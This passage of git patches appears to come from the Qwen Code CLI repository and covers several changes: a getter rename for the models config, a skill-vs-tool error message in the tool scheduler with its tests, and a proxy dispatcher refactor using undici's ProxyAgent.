a/packages/cli/src/core/initializer.ts b/packages/cli/src/core/initializer.ts index c21d637e3..8d511b438 100644 --- a/packages/cli/src/core/initializer.ts +++ b/packages/cli/src/core/initializer.ts @@ -47,7 +47,7 @@ export async function initializeApp( // Use authType from modelsConfig which respects CLI --auth-type argument // over settings.security.auth.selectedType - const authType = config.modelsConfig.getCurrentAuthType(); + const authType = config.getModelsConfig().getCurrentAuthType(); const authError = await performInitialAuth(config, authType); // Fallback to user select when initial authentication fails @@ -61,7 +61,7 @@ export async function initializeApp( const themeError = validateTheme(settings); const shouldOpenAuthDialog = - !config.modelsConfig.wasAuthTypeExplicitlyProvided() || !!authError; + !config.getModelsConfig().wasAuthTypeExplicitlyProvided() || !!authError; if (config.getIdeMode()) { const ideClient = await IdeClient.getInstance(); diff --git a/packages/cli/src/gemini.tsx b/packages/cli/src/gemini.tsx index ea2dee43b..66fa327d1 100644 --- a/packages/cli/src/gemini.tsx +++ b/packages/cli/src/gemini.tsx @@ -252,7 +252,7 @@ export async function main() { if (!settings.merged.security?.auth?.useExternal) { // Validate authentication here because the sandbox will interfere with the Oauth2 web redirect. try { - const authType = partialConfig.modelsConfig.getCurrentAuthType(); + const authType = partialConfig.getModelsConfig().getCurrentAuthType(); // Fresh users may not have selected/persisted an authType yet. // In that case, defer auth prompting/selection to the main interactive flow. if (authType) { diff --git a/packages/cli/src/ui/AppContainer.tsx b/packages/cli/src/ui/AppContainer.tsx index 856ff4417..9ea338932 100644 --- a/packages/cli/src/ui/AppContainer.tsx +++ b/packages/cli/src/ui/AppContainer.tsx @@ -434,7 +434,7 @@ export const AppContainer = (props: AppContainerProps) => { // Check for enforced auth type mismatch useEffect(() => { // Check for initialization error first - const currentAuthType = config.modelsConfig.getCurrentAuthType(); + const currentAuthType = config.getModelsConfig().getCurrentAuthType(); if ( settings.merged.security?.auth?.enforcedType && diff --git a/packages/cli/src/validateNonInterActiveAuth.test.ts b/packages/cli/src/validateNonInterActiveAuth.test.ts index dcaf6b118..11dd3289f 100644 --- a/packages/cli/src/validateNonInterActiveAuth.test.ts +++ b/packages/cli/src/validateNonInterActiveAuth.test.ts @@ -14,18 +14,24 @@ import * as JsonOutputAdapterModule from './nonInteractive/io/JsonOutputAdapter. import * as StreamJsonOutputAdapterModule from './nonInteractive/io/StreamJsonOutputAdapter.js'; import * as cleanupModule from './utils/cleanup.js'; +type ModelsConfig = ReturnType; + // Helper to create a mock Config with modelsConfig function createMockConfig(overrides?: Partial): Config { - return { + const baseModelsConfig = { + getModel: vi.fn().mockReturnValue('default-model'), + getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), + } as unknown as ModelsConfig; + const baseConfig: Partial = { refreshAuth: vi.fn().mockResolvedValue('refreshed'), getOutputFormat: vi.fn().mockReturnValue(OutputFormat.TEXT), getContentGeneratorConfig: vi.fn().mockReturnValue({ authType: undefined }), - modelsConfig: { - getModel: vi.fn().mockReturnValue('default-model'), - getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), - }, + getModelsConfig: vi.fn().mockReturnValue(baseModelsConfig), + }; + return { + ...baseConfig, ...overrides, - } as unknown as Config; + } as Config; } describe('validateNonInterActiveAuth', () => { @@ -128,10 +134,10 @@ describe('validateNonInterActiveAuth', () => { ); const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), - }, + }), }); try { await validateNonInteractiveAuth( @@ -153,10 +159,10 @@ describe('validateNonInterActiveAuth', () => { process.env['OPENAI_API_KEY'] = 'fake-openai-key'; const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); await validateNonInteractiveAuth( undefined, @@ -169,10 +175,10 @@ describe('validateNonInterActiveAuth', () => { it('uses configured QWEN_OAUTH if provided', async () => { const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), - }, + }), }); await validateNonInteractiveAuth( undefined, @@ -222,7 +228,7 @@ describe('validateNonInterActiveAuth', () => { expect(validateAuthMethodSpy).not.toHaveBeenCalled(); expect(consoleErrorSpy).not.toHaveBeenCalled(); expect(processExitSpy).not.toHaveBeenCalled(); - // refreshAuth is called with the authType from config.modelsConfig.getCurrentAuthType() + // refreshAuth is called with the authType from config.getModelsConfig().getCurrentAuthType() expect(refreshAuthMock).toHaveBeenCalledWith(AuthType.QWEN_OAUTH); }); @@ -233,10 +239,10 @@ describe('validateNonInterActiveAuth', () => { process.env['OPENAI_API_KEY'] = 'fake-key'; const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); await validateNonInteractiveAuth( undefined, @@ -251,10 +257,10 @@ describe('validateNonInterActiveAuth', () => { process.env['OPENAI_API_KEY'] = 'fake-key'; const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); try { await validateNonInteractiveAuth( @@ -297,10 +303,10 @@ describe('validateNonInterActiveAuth', () => { const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.JSON), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), - }, + }), }); try { @@ -334,10 +340,10 @@ describe('validateNonInterActiveAuth', () => { const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.JSON), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); try { @@ -373,10 +379,10 @@ describe('validateNonInterActiveAuth', () => { const nonInteractiveConfig = createMockConfig({ refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.JSON), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); try { @@ -433,10 +439,10 @@ describe('validateNonInterActiveAuth', () => { refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.STREAM_JSON), getIncludePartialMessages: vi.fn().mockReturnValue(false), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.QWEN_OAUTH), - }, + }), }); try { @@ -471,10 +477,10 @@ describe('validateNonInterActiveAuth', () => { refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.STREAM_JSON), getIncludePartialMessages: vi.fn().mockReturnValue(false), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); try { @@ -511,10 +517,10 @@ describe('validateNonInterActiveAuth', () => { refreshAuth: refreshAuthMock, getOutputFormat: vi.fn().mockReturnValue(OutputFormat.STREAM_JSON), getIncludePartialMessages: vi.fn().mockReturnValue(false), - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('default-model'), getCurrentAuthType: vi.fn().mockReturnValue(AuthType.USE_OPENAI), - }, + }), }); try { diff --git a/packages/cli/src/validateNonInterActiveAuth.ts b/packages/cli/src/validateNonInterActiveAuth.ts index f5d71b08d..ce60264c0 100644 --- a/packages/cli/src/validateNonInterActiveAuth.ts +++ b/packages/cli/src/validateNonInterActiveAuth.ts @@ -19,7 +19,9 @@ export async function validateNonInteractiveAuth( ): Promise { try { // Get the actual authType from config which has already resolved CLI args, env vars, and settings - const authType = nonInteractiveConfig.modelsConfig.getCurrentAuthType(); + const authType = nonInteractiveConfig + .getModelsConfig() + .getCurrentAuthType(); if (!authType) { throw new Error( 'No auth type is selected. Please configure an auth type (e.g. via settings or `--auth-type`) before running in non-interactive mode.', diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index 4dced82b7..1285635e7 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -413,7 +413,7 @@ export class Config { private contentGenerator!: ContentGenerator; private readonly embeddingModel: string; - private _modelsConfig!: ModelsConfig; + private modelsConfig!: ModelsConfig; private readonly modelProvidersConfig?: ModelProvidersConfig; private readonly sandbox: SandboxConfig | undefined; private readonly targetDir: string; @@ -630,7 +630,7 @@ export class Config { // Prefer params.authType over generationConfig.authType because: // - params.authType preserves undefined (user hasn't selected yet) // - generationConfig.authType may have a default value from resolvers - this._modelsConfig = new ModelsConfig({ + this.modelsConfig = new ModelsConfig({ initialAuthType: params.authType ?? params.generationConfig?.authType, modelProvidersConfig: this.modelProvidersConfig, generationConfig: { @@ -727,8 +727,8 @@ export class Config { * Get the ModelsConfig instance for model-related operations. * External code (e.g., CLI) can use this to access model configuration. */ - get modelsConfig(): ModelsConfig { - return this._modelsConfig; + getModelsConfig(): ModelsConfig { + return this.modelsConfig; } /** @@ -744,7 +744,7 @@ export class Config { }, settingsGenerationConfig?: Partial, ): void { - this._modelsConfig.updateCredentials(credentials, settingsGenerationConfig); + this.modelsConfig.updateCredentials(credentials, settingsGenerationConfig); } /** @@ -752,21 +752,20 @@ export class Config { */ async refreshAuth(authMethod: AuthType, isInitialAuth?: boolean) { // Sync modelsConfig state for this auth refresh - const modelId = this._modelsConfig.getModel(); - this._modelsConfig.syncAfterAuthRefresh(authMethod, modelId); + const modelId = this.modelsConfig.getModel(); + this.modelsConfig.syncAfterAuthRefresh(authMethod, modelId); // Check and consume cached credentials flag const requireCached = - this._modelsConfig.consumeRequireCachedCredentialsFlag(); + this.modelsConfig.consumeRequireCachedCredentialsFlag(); const { config, sources } = resolveContentGeneratorConfigWithSources( this, authMethod, - this._modelsConfig.getGenerationConfig(), - this._modelsConfig.getGenerationConfigSources(), + this.modelsConfig.getGenerationConfig(), + this.modelsConfig.getGenerationConfigSources(), { - strictModelProvider: - this._modelsConfig.isStrictModelProviderSelection(), + strictModelProvider: this.modelsConfig.isStrictModelProviderSelection(), }, ); const newContentGeneratorConfig = config; @@ -856,15 +855,15 @@ export class Config { // get sources from ModelsConfig if ( Object.keys(this.contentGeneratorConfigSources).length === 0 && - this._modelsConfig + this.modelsConfig ) { - return this._modelsConfig.getGenerationConfigSources(); + return this.modelsConfig.getGenerationConfigSources(); } return this.contentGeneratorConfigSources; } getModel(): string { - return this.contentGeneratorConfig?.model || this._modelsConfig.getModel(); + return this.contentGeneratorConfig?.model || this.modelsConfig.getModel(); } /** @@ -875,7 +874,7 @@ export class Config { newModel: string, metadata?: { reason?: string; context?: string }, ): Promise { - await this._modelsConfig.setModel(newModel, metadata); + await this.modelsConfig.setModel(newModel, metadata); // Also update contentGeneratorConfig for hot-update compatibility if (this.contentGeneratorConfig) { this.contentGeneratorConfig.model = newModel; @@ -905,11 +904,11 @@ export class Config { const { config, sources } = resolveContentGeneratorConfigWithSources( this, authType, - this._modelsConfig.getGenerationConfig(), - this._modelsConfig.getGenerationConfigSources(), + this.modelsConfig.getGenerationConfig(), + this.modelsConfig.getGenerationConfigSources(), { strictModelProvider: - this._modelsConfig.isStrictModelProviderSelection(), + this.modelsConfig.isStrictModelProviderSelection(), }, ); @@ -942,7 +941,7 @@ export class Config { * Delegates to ModelsConfig. */ getAvailableModels(): AvailableModel[] { - return this._modelsConfig.getAvailableModels(); + return this.modelsConfig.getAvailableModels(); } /** @@ -950,7 +949,7 @@ export class Config { * Delegates to ModelsConfig. */ getAvailableModelsForAuthType(authType: AuthType): AvailableModel[] { - return this._modelsConfig.getAvailableModelsForAuthType(authType); + return this.modelsConfig.getAvailableModelsForAuthType(authType); } /** @@ -969,7 +968,7 @@ export class Config { options?: { requireCachedCredentials?: boolean }, metadata?: { reason?: string; context?: string }, ): Promise { - await this._modelsConfig.switchModel(authType, modelId, options, metadata); + await this.modelsConfig.switchModel(authType, modelId, options, metadata); } getMaxSessionTurns(): number { From 84696a885f14d2462e216bb647fb2a936020ae17 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Tue, 27 Jan 2026 15:02:21 +0800 Subject: [PATCH 45/79] feat(core): improve error message when skill is invoked as tool MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When the model tries to invoke a skill name directly as a tool (e.g., Tool: "pdf" instead of Tool: "Skill" with skill: "pdf"), provide a clear error message explaining how to properly invoke skills. 🤖 Generated with [Qoder][https://qoder.com] --- package-lock.json | 3 +- .../core/src/core/coreToolScheduler.test.ts | 66 ++++++++++++++++++- packages/core/src/core/coreToolScheduler.ts | 34 ++++++---- 3 files changed, 88 insertions(+), 15 deletions(-) diff --git a/package-lock.json b/package-lock.json index e3e7405e1..a898f7693 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3878,6 +3878,7 @@ "version": "2.4.9", "resolved": "https://registry.npmjs.org/@types/prompts/-/prompts-2.4.9.tgz", "integrity": "sha512-qTxFi6Buiu8+50/+3DGIWLHM6QuWsEKugJnnP6iv2Mc4ncxE4A/OJkjuVOA+5X0X1S/nq5VJRa8Lu+nwcvbrKA==", + "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", @@ -17329,7 +17330,6 @@ "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", - "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -17373,6 +17373,7 @@ "@types/diff": "^7.0.2", "@types/dotenv": "^6.1.1", "@types/node": "^20.11.24", + "@types/prompts": "^2.4.9", "@types/react": "^19.1.8", "@types/react-dom": "^19.1.6", "@types/semver": "^7.7.0", diff --git a/packages/core/src/core/coreToolScheduler.test.ts b/packages/core/src/core/coreToolScheduler.test.ts index 1cf3c565c..9ccbf9263 100644 --- a/packages/core/src/core/coreToolScheduler.test.ts +++ b/packages/core/src/core/coreToolScheduler.test.ts @@ -23,6 +23,7 @@ import { ToolConfirmationOutcome, DEFAULT_TRUNCATE_TOOL_OUTPUT_LINES, DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD, + SkillTool, } from '../index.js'; import type { ToolCall, WaitingToolCall } from './coreToolScheduler.js'; import { @@ -368,6 +369,10 @@ describe('CoreToolScheduler', () => { describe('getToolSuggestion', () => { it('should suggest the top N closest tool names for a typo', () => { // Create mocked tool registry + const mockToolRegistry = { + getAllToolNames: () => ['list_files', 'read_file', 'write_file'], + getTool: () => undefined, // No SkillTool in this test + } as unknown as ToolRegistry; const mockConfig = { getToolRegistry: () => mockToolRegistry, getUseSmartEdit: () => false, @@ -376,9 +381,6 @@ describe('CoreToolScheduler', () => { getExcludeTools: () => undefined, isInteractive: () => true, } as unknown as Config; - const mockToolRegistry = { - getAllToolNames: () => ['list_files', 'read_file', 'write_file'], - } as unknown as ToolRegistry; // Create scheduler const scheduler = new CoreToolScheduler({ @@ -409,6 +411,7 @@ describe('CoreToolScheduler', () => { // Create mocked tool registry const mockToolRegistry = { getAllToolNames: () => ['list_files', 'read_file'], + getTool: () => undefined, // No SkillTool in this test } as unknown as ToolRegistry; // Create mocked config with excluded tools @@ -439,6 +442,7 @@ describe('CoreToolScheduler', () => { // Create mocked tool registry const mockToolRegistry = { getAllToolNames: () => ['list_files', 'read_file'], + getTool: () => undefined, // No SkillTool in this test } as unknown as ToolRegistry; // Create mocked config with excluded tools @@ -466,6 +470,62 @@ describe('CoreToolScheduler', () => { 'not available in the current environment', ); }); + + it('should suggest using Skill tool when unknown tool name matches a skill name', () => { + // Create a mock that passes instanceof SkillTool check + const mockSkillTool = Object.create(SkillTool.prototype); + mockSkillTool.getAvailableSkillNames = () => [ + 'pdf', + 'xlsx', + 'frontend-design', + ]; + + // Create mocked tool registry that returns the mock SkillTool + const mockToolRegistry = { + getAllToolNames: () => ['skill', 'list_files', 'read_file'], + getTool: (name: string) => + name === 'skill' ? mockSkillTool : undefined, + } as unknown as ToolRegistry; + + // Create mocked config + const mockConfig = { + getToolRegistry: () => mockToolRegistry, + getUseSmartEdit: () => false, + getUseModelRouter: () => false, + getGeminiClient: () => null, + getExcludeTools: () => undefined, + isInteractive: () => true, + } as unknown as Config; + + // Create scheduler + const scheduler = new CoreToolScheduler({ + config: mockConfig, + getPreferredEditor: () => 'vscode', + onEditorClose: vi.fn(), + }); + + // Test that when unknown tool name matches a skill name, we get skill-specific message + // @ts-expect-error accessing private method + const skillMessage = scheduler.getToolNotFoundMessage('pdf'); + expect(skillMessage).toContain('is a skill name, not a tool name'); + expect(skillMessage).toContain('skill'); + expect(skillMessage).toContain('skill: "pdf"'); + // Should NOT contain the standard "not found in registry" prefix + expect(skillMessage).not.toContain('not found in registry'); + + // Test another skill name + // @ts-expect-error accessing private method + const xlsxMessage = scheduler.getToolNotFoundMessage('xlsx'); + expect(xlsxMessage).toContain('is a skill name, not a tool name'); + expect(xlsxMessage).toContain('skill: "xlsx"'); + + // Test that non-skill names still use standard message with Levenshtein suggestions + // @ts-expect-error accessing private method + const nonSkillMessage = scheduler.getToolNotFoundMessage('list_fils'); + expect(nonSkillMessage).toContain('not found in registry'); + expect(nonSkillMessage).toContain('Did you mean'); + expect(nonSkillMessage).not.toContain('is a skill name'); + }); }); describe('excluded tools handling', () => { diff --git a/packages/core/src/core/coreToolScheduler.ts b/packages/core/src/core/coreToolScheduler.ts index c7e2806ac..2187be2e7 100644 --- a/packages/core/src/core/coreToolScheduler.ts +++ b/packages/core/src/core/coreToolScheduler.ts @@ -29,7 +29,9 @@ import { logToolOutputTruncated, ToolOutputTruncatedEvent, InputFormat, + SkillTool, } from '../index.js'; +import { ToolNames } from '../tools/tool-names.js'; import type { Part, PartListUnion } from '@google/genai'; import { getResponseTextFromParts } from '../utils/generateContentResponseUtilities.js'; import type { ModifyContext } from '../tools/modifiable-tool.js'; @@ -594,17 +596,28 @@ export class CoreToolScheduler { } /** - * Generates a suggestion string for a tool name that was not found in the registry. - * Uses Levenshtein distance to suggest similar tool names for hallucinated or misspelled tools. - * Note: Excluded tools are handled separately before calling this method, so this only - * handles the case where a tool is truly not found (hallucinated or typo). - * @param unknownToolName The tool name that was not found. - * @param topN The number of suggestions to return. Defaults to 3. - * @returns A suggestion string like " Did you mean 'tool'?" or " Did you mean one of: 'tool1', 'tool2'?", - * or an empty string if no suggestions are found. + * Generates error message for unknown tool. Returns early with skill-specific + * message if the name matches a skill, otherwise uses Levenshtein suggestions. */ + private getToolNotFoundMessage(unknownToolName: string, topN = 3): string { + // Check if the unknown tool name matches an available skill name. + // This handles the case where the model tries to invoke a skill as a tool + // (e.g., Tool: "pdf" instead of Tool: "Skill" with skill: "pdf") + const skillTool = this.toolRegistry.getTool(ToolNames.SKILL); + if (skillTool instanceof SkillTool) { + const availableSkillNames = skillTool.getAvailableSkillNames(); + if (availableSkillNames.includes(unknownToolName)) { + return `"${unknownToolName}" is a skill name, not a tool name. To use this skill, invoke the "${ToolNames.SKILL}" tool with parameter: skill: "${unknownToolName}"`; + } + } + + // Standard "not found" message with Levenshtein suggestions + const suggestion = this.getToolSuggestion(unknownToolName, topN); + return `Tool "${unknownToolName}" not found in registry. Tools must use the exact names that are registered.${suggestion}`; + } + + /** Suggests similar tool names using Levenshtein distance. */ private getToolSuggestion(unknownToolName: string, topN = 3): string { - // Use Levenshtein distance to find similar tool names from the registry. const allToolNames = this.toolRegistry.getAllToolNames(); const matches = allToolNames.map((toolName) => ({ @@ -711,8 +724,7 @@ export class CoreToolScheduler { const toolInstance = this.toolRegistry.getTool(reqInfo.name); if (!toolInstance) { // Tool is not in registry and not excluded - likely hallucinated or typo - const suggestion = this.getToolSuggestion(reqInfo.name); - const errorMessage = `Tool "${reqInfo.name}" not found in registry. Tools must use the exact names that are registered.${suggestion}`; + const errorMessage = this.getToolNotFoundMessage(reqInfo.name); return { status: 'error', request: reqInfo, From 6b736291da81609bed4e9c15943fdfc3c87df210 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 16:12:55 +0800 Subject: [PATCH 46/79] fix: use ProxyAgent to supress EnvHttpProxyAgent experimental warning --- .../anthropicContentGenerator.test.ts | 1 + .../anthropicContentGenerator.ts | 5 +- .../provider/dashscope.test.ts | 3 +- .../provider/dashscope.ts | 5 +- .../provider/default.test.ts | 3 +- .../provider/default.ts | 5 +- .../core/src/utils/runtimeFetchOptions.ts | 46 +++++++++++-------- 7 files changed, 43 insertions(+), 25 deletions(-) diff --git a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts index d05f216c3..3f0e17197 100644 --- a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts +++ b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts @@ -96,6 +96,7 @@ describe('AnthropicContentGenerator', () => { mockConfig = { getCliVersion: vi.fn().mockReturnValue('1.2.3'), + getProxy: vi.fn().mockReturnValue(undefined), } as unknown as Config; }); diff --git a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts index efaf7fb7a..98a3a985d 100644 --- a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts +++ b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts @@ -57,7 +57,10 @@ export class AnthropicContentGenerator implements ContentGenerator { const baseURL = contentGeneratorConfig.baseUrl; // Configure runtime options to ensure user-configured timeout works as expected // bodyTimeout is always disabled (0) to let Anthropic SDK timeout control the request - const runtimeOptions = buildRuntimeFetchOptions('anthropic'); + const runtimeOptions = buildRuntimeFetchOptions( + 'anthropic', + this.cliConfig.getProxy(), + ); this.client = new Anthropic({ apiKey: contentGeneratorConfig.apiKey, diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts index b38ebed63..09f4c83ca 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts @@ -47,7 +47,7 @@ describe('DashScopeOpenAICompatibleProvider', () => { vi.clearAllMocks(); const mockedBuildRuntimeFetchOptions = buildRuntimeFetchOptions as unknown as MockedFunction< - (sdkType: 'openai') => OpenAIRuntimeFetchOptions + (sdkType: 'openai', proxyUrl?: string) => OpenAIRuntimeFetchOptions >; mockedBuildRuntimeFetchOptions.mockReturnValue(undefined); @@ -68,6 +68,7 @@ describe('DashScopeOpenAICompatibleProvider', () => { getContentGeneratorConfig: vi.fn().mockReturnValue({ disableCacheControl: false, }), + getProxy: vi.fn().mockReturnValue(undefined), } as unknown as Config; provider = new DashScopeOpenAICompatibleProvider( diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts index c5c575d99..0a8458e0a 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts @@ -71,7 +71,10 @@ export class DashScopeOpenAICompatibleProvider const defaultHeaders = this.buildHeaders(); // Configure fetch options to ensure user-configured timeout works as expected // bodyTimeout is always disabled (0) to let OpenAI SDK timeout control the request - const fetchOptions = buildRuntimeFetchOptions('openai'); + const fetchOptions = buildRuntimeFetchOptions( + 'openai', + this.cliConfig.getProxy(), + ); return new OpenAI({ apiKey, baseURL: baseUrl, diff --git a/packages/core/src/core/openaiContentGenerator/provider/default.test.ts b/packages/core/src/core/openaiContentGenerator/provider/default.test.ts index 6d2585bc7..fc921c7c0 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/default.test.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/default.test.ts @@ -45,7 +45,7 @@ describe('DefaultOpenAICompatibleProvider', () => { vi.clearAllMocks(); const mockedBuildRuntimeFetchOptions = buildRuntimeFetchOptions as unknown as MockedFunction< - (sdkType: 'openai') => OpenAIRuntimeFetchOptions + (sdkType: 'openai', proxyUrl?: string) => OpenAIRuntimeFetchOptions >; mockedBuildRuntimeFetchOptions.mockReturnValue(undefined); @@ -61,6 +61,7 @@ describe('DefaultOpenAICompatibleProvider', () => { // Mock Config mockCliConfig = { getCliVersion: vi.fn().mockReturnValue('1.0.0'), + getProxy: vi.fn().mockReturnValue(undefined), } as unknown as Config; provider = new DefaultOpenAICompatibleProvider( diff --git a/packages/core/src/core/openaiContentGenerator/provider/default.ts b/packages/core/src/core/openaiContentGenerator/provider/default.ts index 7e333f916..b7d8644c9 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/default.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/default.ts @@ -46,7 +46,10 @@ export class DefaultOpenAICompatibleProvider const defaultHeaders = this.buildHeaders(); // Configure fetch options to ensure user-configured timeout works as expected // bodyTimeout is always disabled (0) to let OpenAI SDK timeout control the request - const fetchOptions = buildRuntimeFetchOptions('openai'); + const fetchOptions = buildRuntimeFetchOptions( + 'openai', + this.cliConfig.getProxy(), + ); return new OpenAI({ apiKey, baseURL: baseUrl, diff --git a/packages/core/src/utils/runtimeFetchOptions.ts b/packages/core/src/utils/runtimeFetchOptions.ts index 1baa459e9..35235f02d 100644 --- a/packages/core/src/utils/runtimeFetchOptions.ts +++ b/packages/core/src/utils/runtimeFetchOptions.ts @@ -4,7 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { EnvHttpProxyAgent } from 'undici'; +import { Agent, ProxyAgent, type Dispatcher } from 'undici'; /** * JavaScript runtime type @@ -29,7 +29,7 @@ export function detectRuntime(): Runtime { */ export type OpenAIRuntimeFetchOptions = | { - dispatcher?: EnvHttpProxyAgent; + dispatcher?: Dispatcher; timeout?: false; } | undefined; @@ -54,12 +54,14 @@ export type SDKType = 'openai' | 'anthropic'; */ export function buildRuntimeFetchOptions( sdkType: 'openai', + proxyUrl?: string, ): OpenAIRuntimeFetchOptions; /** * Build runtime-specific fetch options for Anthropic SDK */ export function buildRuntimeFetchOptions( sdkType: 'anthropic', + proxyUrl?: string, ): AnthropicRuntimeFetchOptions; /** * Build runtime-specific fetch options based on the detected runtime and SDK type @@ -71,6 +73,7 @@ export function buildRuntimeFetchOptions( */ export function buildRuntimeFetchOptions( sdkType: SDKType, + proxyUrl?: string, ): OpenAIRuntimeFetchOptions | AnthropicRuntimeFetchOptions { const runtime = detectRuntime(); @@ -110,22 +113,17 @@ export function buildRuntimeFetchOptions( } case 'node': { - // Node.js: Use EnvHttpProxyAgent to configure proxy and disable bodyTimeout - // EnvHttpProxyAgent automatically reads proxy settings from environment variables - // (HTTP_PROXY, HTTPS_PROXY, NO_PROXY, etc.) to preserve proxy functionality - // bodyTimeout is always 0 (disabled) to let SDK timeout control the request + // Node.js: Use ProxyAgent when proxy is configured, otherwise Agent. + // bodyTimeout is always 0 (disabled) to let SDK timeout control the request. try { - const agent = new EnvHttpProxyAgent({ - bodyTimeout: 0, // Disable to let SDK timeout control total request time - }); - + const dispatcher = createDispatcher(proxyUrl); if (sdkType === 'openai') { return { - dispatcher: agent, + dispatcher, }; } else { return { - httpAgent: agent, + httpAgent: dispatcher, }; } } catch { @@ -139,20 +137,16 @@ export function buildRuntimeFetchOptions( } default: { - // Unknown runtime: Try to use EnvHttpProxyAgent if available - // EnvHttpProxyAgent automatically reads proxy settings from environment variables + // Unknown runtime: Use ProxyAgent when proxy is configured, otherwise Agent. try { - const agent = new EnvHttpProxyAgent({ - bodyTimeout: 0, // Disable to let SDK timeout control total request time - }); - + const dispatcher = createDispatcher(proxyUrl); if (sdkType === 'openai') { return { - dispatcher: agent, + dispatcher, }; } else { return { - httpAgent: agent, + httpAgent: dispatcher, }; } } catch { @@ -165,3 +159,15 @@ export function buildRuntimeFetchOptions( } } } + +function createDispatcher(proxyUrl?: string): Dispatcher { + if (proxyUrl) { + return new ProxyAgent({ + uri: proxyUrl, + bodyTimeout: 0, + }); + } + return new Agent({ + bodyTimeout: 0, + }); +} From 8ce176389c09db83485ff2f134253f76dbbd1045 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Tue, 27 Jan 2026 16:59:02 +0800 Subject: [PATCH 47/79] fix(acp): stream subagent text chunks (with thoughts) Propagate `thought` metadata through SubAgent STREAM_TEXT events and render them as agent message/thought chunks in ACP sessions. --- .../session/SubAgentTracker.test.ts | 180 ++++++++++++++++++ .../session/SubAgentTracker.ts | 24 +++ .../core/src/subagents/subagent-events.ts | 2 + packages/core/src/subagents/subagent.ts | 4 +- 4 files changed, 209 insertions(+), 1 